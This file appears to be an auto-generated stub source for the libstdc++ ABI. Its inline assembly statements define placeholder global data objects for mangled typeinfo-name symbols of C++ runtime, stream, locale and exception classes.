__asm__(".globl _ZTSN10__cxxabiv117__pbase_type_infoE; .pushsection .data; .type _ZTSN10__cxxabiv117__pbase_type_infoE,@object; .size _ZTSN10__cxxabiv117__pbase_type_infoE, 34; _ZTSN10__cxxabiv117__pbase_type_infoE: .long 0; .popsection");
__asm__(".globl _ZTSN10__cxxabiv119__pointer_type_infoE; .pushsection .data; .type _ZTSN10__cxxabiv119__pointer_type_infoE,@object; .size _ZTSN10__cxxabiv119__pointer_type_infoE, 36; _ZTSN10__cxxabiv119__pointer_type_infoE: .long 0; .popsection");
__asm__(".globl _ZTSN10__cxxabiv120__function_type_infoE; .pushsection .data; .type _ZTSN10__cxxabiv120__function_type_infoE,@object; .size _ZTSN10__cxxabiv120__function_type_infoE, 37; _ZTSN10__cxxabiv120__function_type_infoE: .long 0; .popsection");
__asm__(".globl _ZTSN10__cxxabiv120__si_class_type_infoE; .pushsection .data; .type _ZTSN10__cxxabiv120__si_class_type_infoE,@object; .size _ZTSN10__cxxabiv120__si_class_type_infoE, 37; _ZTSN10__cxxabiv120__si_class_type_infoE: .long 0; .popsection");
__asm__(".globl _ZTSN10__cxxabiv121__vmi_class_type_infoE; .pushsection .data; .type _ZTSN10__cxxabiv121__vmi_class_type_infoE,@object; .size _ZTSN10__cxxabiv121__vmi_class_type_infoE, 38; _ZTSN10__cxxabiv121__vmi_class_type_infoE: .long 0; .popsection");
__asm__(".globl _ZTSN10__cxxabiv123__fundamental_type_infoE; .pushsection .data; .type _ZTSN10__cxxabiv123__fundamental_type_infoE,@object; .size _ZTSN10__cxxabiv123__fundamental_type_infoE, 40; _ZTSN10__cxxabiv123__fundamental_type_infoE: .long 0; .popsection");
__asm__(".globl _ZTSN10__cxxabiv129__pointer_to_member_type_infoE; .pushsection .data; .type _ZTSN10__cxxabiv129__pointer_to_member_type_infoE,@object; .size _ZTSN10__cxxabiv129__pointer_to_member_type_infoE, 46; _ZTSN10__cxxabiv129__pointer_to_member_type_infoE: .long 0; .popsection");
__asm__(".globl _ZTSN9__gnu_cxx13stdio_filebufIcSt11char_traitsIcEEE; .pushsection .data; .type _ZTSN9__gnu_cxx13stdio_filebufIcSt11char_traitsIcEEE,@object; .size _ZTSN9__gnu_cxx13stdio_filebufIcSt11char_traitsIcEEE, 49; _ZTSN9__gnu_cxx13stdio_filebufIcSt11char_traitsIcEEE: .long 0; .popsection");
__asm__(".globl _ZTSN9__gnu_cxx13stdio_filebufIwSt11char_traitsIwEEE; .pushsection .data; .type _ZTSN9__gnu_cxx13stdio_filebufIwSt11char_traitsIwEEE,@object; .size _ZTSN9__gnu_cxx13stdio_filebufIwSt11char_traitsIwEEE, 49; _ZTSN9__gnu_cxx13stdio_filebufIwSt11char_traitsIwEEE: .long 0; .popsection");
__asm__(".globl _ZTSN9__gnu_cxx18stdio_sync_filebufIcSt11char_traitsIcEEE; .pushsection .data; .type _ZTSN9__gnu_cxx18stdio_sync_filebufIcSt11char_traitsIcEEE,@object; .size _ZTSN9__gnu_cxx18stdio_sync_filebufIcSt11char_traitsIcEEE, 54; _ZTSN9__gnu_cxx18stdio_sync_filebufIcSt11char_traitsIcEEE: .long 0; .popsection");
__asm__(".globl _ZTSN9__gnu_cxx18stdio_sync_filebufIwSt11char_traitsIwEEE; .pushsection .data; .type _ZTSN9__gnu_cxx18stdio_sync_filebufIwSt11char_traitsIwEEE,@object; .size _ZTSN9__gnu_cxx18stdio_sync_filebufIwSt11char_traitsIwEEE, 54; _ZTSN9__gnu_cxx18stdio_sync_filebufIwSt11char_traitsIwEEE: .long 0; .popsection");
__asm__(".globl _ZTSNSt17__gnu_cxx_ldbl1287num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEE; .pushsection .data; .type _ZTSNSt17__gnu_cxx_ldbl1287num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEE,@object; .size _ZTSNSt17__gnu_cxx_ldbl1287num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEE, 79; _ZTSNSt17__gnu_cxx_ldbl1287num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEE: .long 0; .popsection");
__asm__(".globl _ZTSNSt17__gnu_cxx_ldbl1287num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEE; .pushsection .data; .type _ZTSNSt17__gnu_cxx_ldbl1287num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEE,@object; .size _ZTSNSt17__gnu_cxx_ldbl1287num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEE, 79; _ZTSNSt17__gnu_cxx_ldbl1287num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEE: .long 0; .popsection");
__asm__(".globl _ZTSNSt17__gnu_cxx_ldbl1287num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEEE; .pushsection .data; .type _ZTSNSt17__gnu_cxx_ldbl1287num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEEE,@object; .size _ZTSNSt17__gnu_cxx_ldbl1287num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEEE, 79; _ZTSNSt17__gnu_cxx_ldbl1287num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEEE: .long 0; .popsection");
__asm__(".globl _ZTSNSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEE; .pushsection .data; .type _ZTSNSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEE,@object; .size _ZTSNSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEE, 79; _ZTSNSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEE: .long 0; .popsection");
__asm__(".globl _ZTSNSt17__gnu_cxx_ldbl1289money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEE; .pushsection .data; .type _ZTSNSt17__gnu_cxx_ldbl1289money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEE,@object; .size _ZTSNSt17__gnu_cxx_ldbl1289money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEE, 81; _ZTSNSt17__gnu_cxx_ldbl1289money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEEE: .long 0; .popsection");
__asm__(".globl _ZTSNSt17__gnu_cxx_ldbl1289money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEE; .pushsection .data; .type _ZTSNSt17__gnu_cxx_ldbl1289money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEE,@object; .size _ZTSNSt17__gnu_cxx_ldbl1289money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEE, 81; _ZTSNSt17__gnu_cxx_ldbl1289money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEEE: .long 0; .popsection");
__asm__(".globl _ZTSNSt17__gnu_cxx_ldbl1289money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEEE; .pushsection .data; .type _ZTSNSt17__gnu_cxx_ldbl1289money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEEE,@object; .size _ZTSNSt17__gnu_cxx_ldbl1289money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEEE, 81; _ZTSNSt17__gnu_cxx_ldbl1289money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEEE: .long 0; .popsection");
__asm__(".globl _ZTSNSt17__gnu_cxx_ldbl1289money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEE; .pushsection .data; .type _ZTSNSt17__gnu_cxx_ldbl1289money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEE,@object; .size _ZTSNSt17__gnu_cxx_ldbl1289money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEE, 81; _ZTSNSt17__gnu_cxx_ldbl1289money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEEE: .long 0; .popsection");
__asm__(".globl _ZTSNSt6locale5facetE; .pushsection .data; .type _ZTSNSt6locale5facetE,@object; .size _ZTSNSt6locale5facetE, 18; _ZTSNSt6locale5facetE: .long 0; .popsection");
__asm__(".globl _ZTSNSt8ios_base7failureE; .pushsection .data; .type _ZTSNSt8ios_base7failureE,@object; .size _ZTSNSt8ios_base7failureE, 22; _ZTSNSt8ios_base7failureE: .long 0; .popsection");
__asm__(".globl _ZTSPKa; .pushsection .data; .type _ZTSPKa,@object; .size _ZTSPKa, 4; _ZTSPKa: .long 0; .popsection");
__asm__(".globl _ZTSPKb; .pushsection .data; .type _ZTSPKb,@object; .size _ZTSPKb, 4; _ZTSPKb: .long 0; .popsection");
__asm__(".globl _ZTSPKc; .pushsection .data; .type _ZTSPKc,@object; .size _ZTSPKc, 4; _ZTSPKc: .long 0; .popsection");
__asm__(".globl _ZTSPKd; .pushsection .data; .type _ZTSPKd,@object; .size _ZTSPKd, 4; _ZTSPKd: .long 0; .popsection");
__asm__(".globl _ZTSPKe; .pushsection .data; .type _ZTSPKe,@object; .size _ZTSPKe, 4; _ZTSPKe: .long 0; .popsection");
__asm__(".globl _ZTSPKf; .pushsection .data; .type _ZTSPKf,@object; .size _ZTSPKf, 4; _ZTSPKf: .long 0; .popsection");
__asm__(".globl _ZTSPKg; .pushsection .data; .type _ZTSPKg,@object; .size _ZTSPKg, 4; _ZTSPKg: .long 0; .popsection");
__asm__(".globl _ZTSPKh; .pushsection .data; .type _ZTSPKh,@object; .size _ZTSPKh, 4; _ZTSPKh: .long 0; .popsection");
__asm__(".globl _ZTSPKi; .pushsection .data; .type _ZTSPKi,@object; .size _ZTSPKi, 4; _ZTSPKi: .long 0; .popsection");
__asm__(".globl _ZTSPKj; .pushsection .data; .type _ZTSPKj,@object; .size _ZTSPKj, 4; _ZTSPKj: .long 0; .popsection");
__asm__(".globl _ZTSPKl; .pushsection .data; .type _ZTSPKl,@object; .size _ZTSPKl, 4; _ZTSPKl: .long 0; .popsection");
__asm__(".globl _ZTSPKm; .pushsection .data; .type _ZTSPKm,@object; .size _ZTSPKm, 4; _ZTSPKm: .long 0; .popsection");
__asm__(".globl _ZTSPKs; .pushsection .data; .type _ZTSPKs,@object; .size _ZTSPKs, 4; _ZTSPKs: .long 0; .popsection");
__asm__(".globl _ZTSPKt; .pushsection .data; .type _ZTSPKt,@object; .size _ZTSPKt, 4; _ZTSPKt: .long 0; .popsection");
__asm__(".globl _ZTSPKv; .pushsection .data; .type _ZTSPKv,@object; .size _ZTSPKv, 4; _ZTSPKv: .long 0; .popsection");
__asm__(".globl _ZTSPKw; .pushsection .data; .type _ZTSPKw,@object; .size _ZTSPKw, 4; _ZTSPKw: .long 0; .popsection");
__asm__(".globl _ZTSPKx; .pushsection .data; .type _ZTSPKx,@object; .size _ZTSPKx, 4; _ZTSPKx: .long 0; .popsection");
__asm__(".globl _ZTSPKy; .pushsection .data; .type _ZTSPKy,@object; .size _ZTSPKy, 4; _ZTSPKy: .long 0; .popsection");
__asm__(".globl _ZTSPa; .pushsection .data; .type _ZTSPa,@object; .size _ZTSPa, 3; _ZTSPa: .long 0; .popsection");
__asm__(".globl _ZTSPb; .pushsection .data; .type _ZTSPb,@object; .size _ZTSPb, 3; _ZTSPb: .long 0; .popsection");
__asm__(".globl _ZTSPc; .pushsection .data; .type _ZTSPc,@object; .size _ZTSPc, 3; _ZTSPc: .long 0; .popsection");
__asm__(".globl _ZTSPd; .pushsection .data; .type _ZTSPd,@object; .size _ZTSPd, 3; _ZTSPd: .long 0; .popsection");
__asm__(".globl _ZTSPe; .pushsection .data; .type _ZTSPe,@object; .size _ZTSPe, 3; _ZTSPe: .long 0; .popsection");
__asm__(".globl _ZTSPf; .pushsection .data; .type _ZTSPf,@object; .size _ZTSPf, 3; _ZTSPf: .long 0; .popsection");
__asm__(".globl _ZTSPg; .pushsection .data; .type _ZTSPg,@object; .size _ZTSPg, 3; _ZTSPg: .long 0; .popsection");
__asm__(".globl _ZTSPh; .pushsection .data; .type _ZTSPh,@object; .size _ZTSPh, 3; _ZTSPh: .long 0; .popsection");
__asm__(".globl _ZTSPi; .pushsection .data; .type _ZTSPi,@object; .size _ZTSPi, 3; _ZTSPi: .long 0; .popsection");
__asm__(".globl _ZTSPj; .pushsection .data; .type _ZTSPj,@object; .size _ZTSPj, 3; _ZTSPj: .long 0; .popsection");
__asm__(".globl _ZTSPl; .pushsection .data; .type _ZTSPl,@object; .size _ZTSPl, 3; _ZTSPl: .long 0; .popsection");
__asm__(".globl _ZTSPm; .pushsection .data; .type _ZTSPm,@object; .size _ZTSPm, 3; _ZTSPm: .long 0; .popsection");
__asm__(".globl _ZTSPs; .pushsection .data; .type _ZTSPs,@object; .size _ZTSPs, 3; _ZTSPs: .long 0; .popsection");
__asm__(".globl _ZTSPt; .pushsection .data; .type _ZTSPt,@object; .size _ZTSPt, 3; _ZTSPt: .long 0; .popsection");
__asm__(".globl _ZTSPv; .pushsection .data; .type _ZTSPv,@object; .size _ZTSPv, 3; _ZTSPv: .long 0; .popsection");
__asm__(".globl _ZTSPw; .pushsection .data; .type _ZTSPw,@object; .size _ZTSPw, 3; _ZTSPw: .long 0; .popsection");
__asm__(".globl _ZTSPx; .pushsection .data; .type _ZTSPx,@object; .size _ZTSPx, 3; _ZTSPx: .long 0; .popsection");
__asm__(".globl _ZTSPy; .pushsection .data; .type _ZTSPy,@object; .size _ZTSPy, 3; _ZTSPy: .long 0; .popsection");
__asm__(".globl _ZTSSd; .pushsection .data; .type _ZTSSd,@object; .size _ZTSSd, 3; _ZTSSd: .long 0; .popsection");
__asm__(".globl _ZTSSi; .pushsection .data; .type _ZTSSi,@object; .size _ZTSSi, 3; _ZTSSi: .long 0; .popsection");
__asm__(".globl _ZTSSo; .pushsection .data; .type _ZTSSo,@object; .size _ZTSSo, 3; _ZTSSo: .long 0; .popsection");
__asm__(".globl _ZTSSt10bad_typeid; .pushsection .data; .type _ZTSSt10bad_typeid,@object; .size _ZTSSt10bad_typeid, 15; _ZTSSt10bad_typeid: .long 0; .popsection");
__asm__(".globl _ZTSSt10ctype_base; .pushsection .data; .type _ZTSSt10ctype_base,@object; .size _ZTSSt10ctype_base, 15; _ZTSSt10ctype_base: .long 0; .popsection");
__asm__(".globl _ZTSSt10money_base; .pushsection .data; .type _ZTSSt10money_base,@object; .size _ZTSSt10money_base, 15; _ZTSSt10money_base: .long 0; .popsection");
__asm__(".globl _ZTSSt10moneypunctIcLb0EE; .pushsection .data; .type _ZTSSt10moneypunctIcLb0EE,@object; .size _ZTSSt10moneypunctIcLb0EE, 22; _ZTSSt10moneypunctIcLb0EE: .long 0; .popsection");
__asm__(".globl _ZTSSt10moneypunctIcLb1EE; .pushsection .data; .type _ZTSSt10moneypunctIcLb1EE,@object; .size _ZTSSt10moneypunctIcLb1EE, 22; _ZTSSt10moneypunctIcLb1EE: .long 0; .popsection");
__asm__(".globl _ZTSSt10moneypunctIwLb0EE; .pushsection .data; .type _ZTSSt10moneypunctIwLb0EE,@object; .size _ZTSSt10moneypunctIwLb0EE, 22; _ZTSSt10moneypunctIwLb0EE: .long 0; .popsection");
__asm__(".globl _ZTSSt10moneypunctIwLb1EE; .pushsection .data; .type _ZTSSt10moneypunctIwLb1EE,@object; .size _ZTSSt10moneypunctIwLb1EE, 22; _ZTSSt10moneypunctIwLb1EE: .long 0; .popsection");
__asm__(".globl _ZTSSt11__timepunctIcE; .pushsection .data; .type _ZTSSt11__timepunctIcE,@object; .size _ZTSSt11__timepunctIcE, 19; _ZTSSt11__timepunctIcE: .long 0; .popsection");
__asm__(".globl _ZTSSt11__timepunctIwE; .pushsection .data; .type _ZTSSt11__timepunctIwE,@object; .size _ZTSSt11__timepunctIwE, 19; _ZTSSt11__timepunctIwE: .long 0; .popsection");
__asm__(".globl _ZTSSt11logic_error; .pushsection .data; .type _ZTSSt11logic_error,@object; .size _ZTSSt11logic_error, 16; _ZTSSt11logic_error: .long 0; .popsection");
__asm__(".globl _ZTSSt11range_error; .pushsection .data; .type _ZTSSt11range_error,@object; .size _ZTSSt11range_error, 16; _ZTSSt11range_error: .long 0; .popsection");
__asm__(".globl _ZTSSt12codecvt_base; .pushsection .data; .type _ZTSSt12codecvt_base,@object; .size _ZTSSt12codecvt_base, 17; _ZTSSt12codecvt_base: .long 0; .popsection");
__asm__(".globl _ZTSSt12ctype_bynameIcE; .pushsection .data; .type _ZTSSt12ctype_bynameIcE,@object; .size _ZTSSt12ctype_bynameIcE, 20; _ZTSSt12ctype_bynameIcE: .long 0; .popsection");
__asm__(".globl _ZTSSt12ctype_bynameIwE; .pushsection .data; .type _ZTSSt12ctype_bynameIwE,@object; .size _ZTSSt12ctype_bynameIwE, 20; _ZTSSt12ctype_bynameIwE: .long 0; .popsection");
__asm__(".globl _ZTSSt12domain_error; .pushsection .data; .type _ZTSSt12domain_error,@object; .size _ZTSSt12domain_error, 17; _ZTSSt12domain_error: .long 0; .popsection");
__asm__(".globl _ZTSSt12length_error; .pushsection .data; .type _ZTSSt12length_error,@object; .size _ZTSSt12length_error, 17; _ZTSSt12length_error: .long 0; .popsection");
__asm__(".globl _ZTSSt12out_of_range; .pushsection .data; .type _ZTSSt12out_of_range,@object; .size _ZTSSt12out_of_range, 17; _ZTSSt12out_of_range: .long 0; .popsection");
__asm__(".globl _ZTSSt13bad_exception; .pushsection .data; .type _ZTSSt13bad_exception,@object; .size _ZTSSt13bad_exception, 18; _ZTSSt13bad_exception: .long 0; .popsection");
__asm__(".globl _ZTSSt13basic_filebufIcSt11char_traitsIcEE; .pushsection .data; .type _ZTSSt13basic_filebufIcSt11char_traitsIcEE,@object; .size _ZTSSt13basic_filebufIcSt11char_traitsIcEE, 39; _ZTSSt13basic_filebufIcSt11char_traitsIcEE: .long 0; .popsection");
__asm__(".globl _ZTSSt13basic_filebufIwSt11char_traitsIwEE; .pushsection .data; .type _ZTSSt13basic_filebufIwSt11char_traitsIwEE,@object; .size _ZTSSt13basic_filebufIwSt11char_traitsIwEE, 39; _ZTSSt13basic_filebufIwSt11char_traitsIwEE: .long 0; .popsection");
__asm__(".globl _ZTSSt13basic_fstreamIcSt11char_traitsIcEE; .pushsection .data; .type _ZTSSt13basic_fstreamIcSt11char_traitsIcEE,@object; .size _ZTSSt13basic_fstreamIcSt11char_traitsIcEE, 39; _ZTSSt13basic_fstreamIcSt11char_traitsIcEE: .long 0; .popsection");
__asm__(".globl _ZTSSt13basic_fstreamIwSt11char_traitsIwEE; .pushsection .data; .type _ZTSSt13basic_fstreamIwSt11char_traitsIwEE,@object; .size _ZTSSt13basic_fstreamIwSt11char_traitsIwEE, 39; _ZTSSt13basic_fstreamIwSt11char_traitsIwEE: .long 0; .popsection");
__asm__(".globl _ZTSSt13basic_istreamIwSt11char_traitsIwEE; .pushsection .data; .type _ZTSSt13basic_istreamIwSt11char_traitsIwEE,@object; .size _ZTSSt13basic_istreamIwSt11char_traitsIwEE, 39; _ZTSSt13basic_istreamIwSt11char_traitsIwEE: .long 0; .popsection");
__asm__(".globl _ZTSSt13basic_ostreamIwSt11char_traitsIwEE; .pushsection .data; .type _ZTSSt13basic_ostreamIwSt11char_traitsIwEE,@object; .size _ZTSSt13basic_ostreamIwSt11char_traitsIwEE, 39; _ZTSSt13basic_ostreamIwSt11char_traitsIwEE: .long 0; .popsection");
__asm__(".globl _ZTSSt13messages_base; .pushsection .data; .type _ZTSSt13messages_base,@object; .size _ZTSSt13messages_base, 18; _ZTSSt13messages_base: .long 0; .popsection");
__asm__(".globl _ZTSSt13runtime_error; .pushsection .data; .type _ZTSSt13runtime_error,@object; .size _ZTSSt13runtime_error, 18; _ZTSSt13runtime_error: .long 0; .popsection");
__asm__(".globl _ZTSSt14basic_ifstreamIcSt11char_traitsIcEE; .pushsection .data; .type _ZTSSt14basic_ifstreamIcSt11char_traitsIcEE,@object; .size _ZTSSt14basic_ifstreamIcSt11char_traitsIcEE, 40; _ZTSSt14basic_ifstreamIcSt11char_traitsIcEE: .long 0; .popsection");
__asm__(".globl _ZTSSt14basic_ifstreamIwSt11char_traitsIwEE; .pushsection .data; .type _ZTSSt14basic_ifstreamIwSt11char_traitsIwEE,@object; .size _ZTSSt14basic_ifstreamIwSt11char_traitsIwEE, 40; _ZTSSt14basic_ifstreamIwSt11char_traitsIwEE: .long 0; .popsection");
__asm__(".globl _ZTSSt14basic_iostreamIwSt11char_traitsIwEE; .pushsection .data; .type _ZTSSt14basic_iostreamIwSt11char_traitsIwEE,@object; .size _ZTSSt14basic_iostreamIwSt11char_traitsIwEE, 40; _ZTSSt14basic_iostreamIwSt11char_traitsIwEE: .long 0; .popsection");
__asm__(".globl _ZTSSt14basic_ofstreamIcSt11char_traitsIcEE; .pushsection .data; .type _ZTSSt14basic_ofstreamIcSt11char_traitsIcEE,@object; .size _ZTSSt14basic_ofstreamIcSt11char_traitsIcEE, 40; _ZTSSt14basic_ofstreamIcSt11char_traitsIcEE: .long 0; .popsection");
__asm__(".globl _ZTSSt14basic_ofstreamIwSt11char_traitsIwEE; .pushsection .data; .type _ZTSSt14basic_ofstreamIwSt11char_traitsIwEE,@object; .size _ZTSSt14basic_ofstreamIwSt11char_traitsIwEE, 40; _ZTSSt14basic_ofstreamIwSt11char_traitsIwEE: .long 0; .popsection");
__asm__(".globl _ZTSSt14codecvt_bynameIcc11__mbstate_tE; .pushsection .data; .type _ZTSSt14codecvt_bynameIcc11__mbstate_tE,@object; .size _ZTSSt14codecvt_bynameIcc11__mbstate_tE, 36; _ZTSSt14codecvt_bynameIcc11__mbstate_tE: .long 0; .popsection");
__asm__(".globl _ZTSSt14codecvt_bynameIwc11__mbstate_tE; .pushsection .data; .type _ZTSSt14codecvt_bynameIwc11__mbstate_tE,@object; .size _ZTSSt14codecvt_bynameIwc11__mbstate_tE, 36; _ZTSSt14codecvt_bynameIwc11__mbstate_tE: .long 0; .popsection");
__asm__(".globl _ZTSSt14collate_bynameIcE; .pushsection .data; .type _ZTSSt14collate_bynameIcE,@object; .size _ZTSSt14collate_bynameIcE, 22; _ZTSSt14collate_bynameIcE: .long 0; .popsection");
__asm__(".globl _ZTSSt14collate_bynameIwE; .pushsection .data; .type _ZTSSt14collate_bynameIwE,@object; .size _ZTSSt14collate_bynameIwE, 22; _ZTSSt14collate_bynameIwE: .long 0; .popsection");
__asm__(".globl _ZTSSt14overflow_error; .pushsection .data; .type _ZTSSt14overflow_error,@object; .size _ZTSSt14overflow_error, 19; _ZTSSt14overflow_error: .long 0; .popsection");
__asm__(".globl _ZTSSt15basic_streambufIcSt11char_traitsIcEE; .pushsection .data; .type _ZTSSt15basic_streambufIcSt11char_traitsIcEE,@object; .size _ZTSSt15basic_streambufIcSt11char_traitsIcEE, 41; _ZTSSt15basic_streambufIcSt11char_traitsIcEE: .long 0; .popsection");
__asm__(".globl _ZTSSt15basic_streambufIwSt11char_traitsIwEE; .pushsection .data; .type _ZTSSt15basic_streambufIwSt11char_traitsIwEE,@object; .size _ZTSSt15basic_streambufIwSt11char_traitsIwEE, 41; _ZTSSt15basic_streambufIwSt11char_traitsIwEE: .long 0; .popsection");
__asm__(".globl _ZTSSt15basic_stringbufIcSt11char_traitsIcESaIcEE; .pushsection .data; .type _ZTSSt15basic_stringbufIcSt11char_traitsIcESaIcEE,@object; .size _ZTSSt15basic_stringbufIcSt11char_traitsIcESaIcEE, 46; _ZTSSt15basic_stringbufIcSt11char_traitsIcESaIcEE: .long 0; .popsection");
__asm__(".globl _ZTSSt15basic_stringbufIwSt11char_traitsIwESaIwEE; .pushsection .data; .type _ZTSSt15basic_stringbufIwSt11char_traitsIwESaIwEE,@object; .size _ZTSSt15basic_stringbufIwSt11char_traitsIwESaIwEE, 46; _ZTSSt15basic_stringbufIwSt11char_traitsIwESaIwEE: .long 0; .popsection");
__asm__(".globl _ZTSSt15messages_bynameIcE; .pushsection .data; .type _ZTSSt15messages_bynameIcE,@object; .size _ZTSSt15messages_bynameIcE, 23; _ZTSSt15messages_bynameIcE: .long 0; .popsection");
__asm__(".globl _ZTSSt15messages_bynameIwE; .pushsection .data; .type _ZTSSt15messages_bynameIwE,@object; .size _ZTSSt15messages_bynameIwE, 23; _ZTSSt15messages_bynameIwE: .long 0; .popsection");
__asm__(".globl _ZTSSt15numpunct_bynameIcE; .pushsection .data; .type _ZTSSt15numpunct_bynameIcE,@object; .size _ZTSSt15numpunct_bynameIcE, 23; _ZTSSt15numpunct_bynameIcE: .long 0; .popsection");
__asm__(".globl _ZTSSt15numpunct_bynameIwE; .pushsection .data; .type _ZTSSt15numpunct_bynameIwE,@object; .size _ZTSSt15numpunct_bynameIwE, 23; _ZTSSt15numpunct_bynameIwE: .long 0; .popsection");
__asm__(".globl _ZTSSt15time_get_bynameIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE; .pushsection .data; .type _ZTSSt15time_get_bynameIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE,@object; .size _ZTSSt15time_get_bynameIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE, 67; _ZTSSt15time_get_bynameIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE: .long 0; .popsection");
__asm__(".globl _ZTSSt15time_get_bynameIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE; .pushsection .data; .type _ZTSSt15time_get_bynameIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE,@object; .size _ZTSSt15time_get_bynameIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE, 67; _ZTSSt15time_get_bynameIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE: .long 0; .popsection");
__asm__(".globl _ZTSSt15time_put_bynameIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE; .pushsection .data; .type _ZTSSt15time_put_bynameIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE,@object; .size _ZTSSt15time_put_bynameIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE, 67; _ZTSSt15time_put_bynameIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE: .long 0; .popsection");
__asm__(".globl _ZTSSt15time_put_bynameIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE; .pushsection .data; .type _ZTSSt15time_put_bynameIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE,@object; .size _ZTSSt15time_put_bynameIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE, 67; _ZTSSt15time_put_bynameIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE: .long 0; .popsection");
__asm__(".globl _ZTSSt15underflow_error; .pushsection .data; .type _ZTSSt15underflow_error,@object; .size _ZTSSt15underflow_error, 20; _ZTSSt15underflow_error: .long 0; .popsection");
__asm__(".globl _ZTSSt16invalid_argument; .pushsection .data; .type _ZTSSt16invalid_argument,@object; .size _ZTSSt16invalid_argument, 21; _ZTSSt16invalid_argument: .long 0; .popsection");
__asm__(".globl _ZTSSt17moneypunct_bynameIcLb0EE; .pushsection .data; .type _ZTSSt17moneypunct_bynameIcLb0EE,@object; .size _ZTSSt17moneypunct_bynameIcLb0EE, 29; _ZTSSt17moneypunct_bynameIcLb0EE: .long 0; .popsection");
__asm__(".globl _ZTSSt17moneypunct_bynameIcLb1EE; .pushsection .data; .type _ZTSSt17moneypunct_bynameIcLb1EE,@object; .size _ZTSSt17moneypunct_bynameIcLb1EE, 29; _ZTSSt17moneypunct_bynameIcLb1EE: .long 0; .popsection");
__asm__(".globl _ZTSSt17moneypunct_bynameIwLb0EE; .pushsection .data; .type _ZTSSt17moneypunct_bynameIwLb0EE,@object; .size _ZTSSt17moneypunct_bynameIwLb0EE, 29; _ZTSSt17moneypunct_bynameIwLb0EE: .long 0; .popsection");
__asm__(".globl _ZTSSt17moneypunct_bynameIwLb1EE; .pushsection .data; .type _ZTSSt17moneypunct_bynameIwLb1EE,@object; .size _ZTSSt17moneypunct_bynameIwLb1EE, 29; _ZTSSt17moneypunct_bynameIwLb1EE: .long 0; .popsection");
__asm__(".globl _ZTSSt18basic_stringstreamIcSt11char_traitsIcESaIcEE; .pushsection .data; .type _ZTSSt18basic_stringstreamIcSt11char_traitsIcESaIcEE,@object; .size _ZTSSt18basic_stringstreamIcSt11char_traitsIcESaIcEE, 49; _ZTSSt18basic_stringstreamIcSt11char_traitsIcESaIcEE: .long 0; .popsection");
__asm__(".globl _ZTSSt18basic_stringstreamIwSt11char_traitsIwESaIwEE; .pushsection .data; .type _ZTSSt18basic_stringstreamIwSt11char_traitsIwESaIwEE,@object; .size _ZTSSt18basic_stringstreamIwSt11char_traitsIwESaIwEE, 49; _ZTSSt18basic_stringstreamIwSt11char_traitsIwESaIwEE: .long 0; .popsection");
__asm__(".globl _ZTSSt19basic_istringstreamIcSt11char_traitsIcESaIcEE; .pushsection .data; .type _ZTSSt19basic_istringstreamIcSt11char_traitsIcESaIcEE,@object; .size _ZTSSt19basic_istringstreamIcSt11char_traitsIcESaIcEE, 50; _ZTSSt19basic_istringstreamIcSt11char_traitsIcESaIcEE: .long 0; .popsection");
__asm__(".globl _ZTSSt19basic_istringstreamIwSt11char_traitsIwESaIwEE; .pushsection .data; .type _ZTSSt19basic_istringstreamIwSt11char_traitsIwESaIwEE,@object; .size _ZTSSt19basic_istringstreamIwSt11char_traitsIwESaIwEE, 50; _ZTSSt19basic_istringstreamIwSt11char_traitsIwESaIwEE: .long 0; .popsection");
__asm__(".globl _ZTSSt19basic_ostringstreamIcSt11char_traitsIcESaIcEE; .pushsection .data; .type _ZTSSt19basic_ostringstreamIcSt11char_traitsIcESaIcEE,@object; .size _ZTSSt19basic_ostringstreamIcSt11char_traitsIcESaIcEE, 50; _ZTSSt19basic_ostringstreamIcSt11char_traitsIcESaIcEE: .long 0; .popsection");
